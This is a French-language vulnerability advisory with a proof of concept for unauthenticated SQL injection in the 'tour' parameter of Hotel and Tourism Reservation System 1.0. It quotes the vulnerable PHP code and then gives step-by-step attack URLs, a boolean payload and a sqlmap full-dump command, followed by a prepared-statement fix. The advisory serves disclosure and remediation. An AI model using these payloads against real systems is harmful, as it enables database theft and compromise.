
Preuve de concept pour une injection SQL non authentifiée dans Hotel and Tourism Reservation System 1.0, démontrant l'extraction de la base de données via le paramètre tour.
| Champ | Détails |
|---|
| Titre | Système de réservation hôtelière et touristique - Injection SQL via le paramètre GET tour |
| Fournisseur | code-projects.org |
| URL du fournisseur | https://code-projects.org/hotel-and-tourism-reservation-in-php-with-source-code/ |
| Produit | Système de réservation hôtelière et touristique |
| Version | 1.0 |
| Type de vulnérabilité | Injection SQL |
| CWE | CWE-89 |
| Score CVSS | 9.8 (Critique) |
| Vecteur CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Fichier affecté | /ht/tour.php |
| Paramètre affecté | tour (GET) |
| Authentification requise | Non |
| Exploitable à distance | Oui |
| Chercheur | Syed Imad Uddin Alvi |
Une vulnérabilité critique d'injection SQL existe dans le paramètre GET tour de tour.php dans le système de réservation hôtelière et touristique 1.0. Le paramètre est passé directement dans une requête SQL brute sans assainissement, sans requêtes préparées et sans validation des entrées. Un attaquant distant non authentifié peut manipuler la requête pour extraire, modifier ou supprimer toutes les données de la base de données. La vulnérabilité a été confirmée par un dump complet de la base de données à l'aide de sqlmap.
Code vulnérable dans tour.php :
if(isset($_GET['tour'])) {
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$s = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
$data = mysqli_fetch_assoc($s);
$tourID est tiré directement de $_GET['tour'] et interpolé dans la requête SQL sans aucun assainissement.
Configuration : Installez le système de réservation hôtelière et touristique 1.0 sur XAMPP et accédez-y à http://<target>/ht/
Étape 1 — Visitez n'importe quelle page de circuit en tant qu'utilisateur non authentifié :
http://<target>/ht/tour.php?tour=4

Étape 2 — Injectez un guillemet simple pour casser la requête SQL et confirmer la vulnérabilité :
http://<target>/ht/tour.php?tour='
Résultat : Une erreur MySQL fatale est déclenchée — confirmant que l'entrée non assainie atteint la requête SQL.

Étape 3 — Confirmez l'injection SQL avec une charge utile booléenne :
http://<target>/ht/tour.php?tour=' or 1=1 -- -
Résultat : La page se charge normalement avec les données du circuit — l'injection booléenne est réussie.

Étape 4 — Effectuez un dump de l'intégralité de la base de données à l'aide de sqlmap :
sqlmap -r sqli.txt --dump --batch
Résultat : sqlmap extrait avec succès toutes les tables de hotel_db, y compris users, rooms, tour_reserves, gallery — compromission totale de la base de données confirmée.

Un attaquant distant non authentifié peut :
INTO OUTFILE si les privilèges de fichiers sont accordésLe paramètre GET tour est interpolé directement dans une requête SQL brute sans recours aux requêtes préparées, aux requêtes paramétrées ou à l'assainissement des entrées :
// VULNERABLE
$tourID = $_GET['tour'];
$select = $db->query("SELECT * FROM tourism WHERE id = '{$tourID}' ");
// FIXED — use prepared statements
$stmt = $db->prepare("SELECT * FROM tourism WHERE id = ?");
$stmt->bind_param("i", $_GET['tour']);
$stmt->execute();
Syed Imad Uddin Alvi — Chercheur en sécurité indépendant